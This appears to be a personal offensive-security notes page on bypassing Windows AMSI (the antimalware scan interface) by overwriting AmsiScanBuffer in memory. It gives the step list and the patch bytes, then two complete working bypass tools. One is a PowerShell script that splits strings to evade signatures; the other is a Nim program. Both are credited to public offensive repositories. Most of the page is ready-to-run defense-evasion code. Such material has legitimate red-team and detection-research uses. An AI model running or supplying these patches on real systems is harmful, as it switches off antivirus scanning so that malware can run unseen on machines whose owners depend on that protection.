AMSI

AMSI #

This is the Windows AntiMalware Scan Interface. This is basically an interface for scanning file, processes, and more that can then be used by Windows Defender or other antivirus products.

Patching AmsiScanBuffer #

It might be as easy as patching the AmsiScanBuffer function provided by amsi.dll to return false.

The basic process here is:

  1. Use LoadLibrary to read amsi.dll from disk into a known variable handle.
  2. Use GetProcAddress to identify the address of the AmsiScanBuffer function. Since amsi.dll should have already been loaded into the process at process start, this should be the address to the function already active in memory.
  3. Use VirtualProtect to make the memory containing the AmsiScanBuffer function writable (0x40 == PAGE_EXECUTE_READWRITE).
  4. Just copy over the byte code for a simple replacement function.

Replacement function:

b8 57 00 07 80          mov    eax,0x80070057 # AMSI_RESULT_CLEAN
c3                      ret

This replacement function is just two asm calls that push AMSI_RESULT_CLEAN into eax and return. This makes any call to AmsiScanBuffer succeed as if the file was clean.

Powershell #

In powershell, patching AmsiScanBuffer basically means calling out to a little C# code to do the heavy work of calling Win32 APIs to patch the function in the current process.

Example
# Credit: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patching-amsidll-amsiscanbuffer-by-rasta-mouse

$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

Source: amsi_powershell_rasta.ps1

References:

Nim #

Example
#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause
    Credit: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/amsi_patch_bin.nim
]#

import winim/lean
import strformat
import dynlib

when defined amd64:
    echo "[*] Running in x64 process"
    const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]
elif defined i386:
    echo "[*] Running in x86 process"
    const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00]

proc PatchAmsi(): bool =
    var
        amsi: LibHandle
        cs: pointer
        op: DWORD
        t: DWORD
        disabled: bool = false

    # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows
    # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim)
    amsi = loadLib("amsi")
    if isNil(amsi):
        echo "[X] Failed to load amsi.dll"
        return disabled

    cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress()
    if isNil(cs):
        echo "[X] Failed to get the address of 'AmsiScanBuffer'"
        return disabled

    if VirtualProtect(cs, patch.len, 0x40, addr op):
        echo "[*] Applying patch"
        copyMem(cs, unsafeAddr patch, patch.len)
        VirtualProtect(cs, patch.len, op, addr t)
        disabled = true

    return disabled

when isMainModule:
    var success = PatchAmsi()
    echo fmt"[*] AMSI disabled: {bool(success)}"

Source: amsi_nim_offensivenim.nim

Further Reading #

References #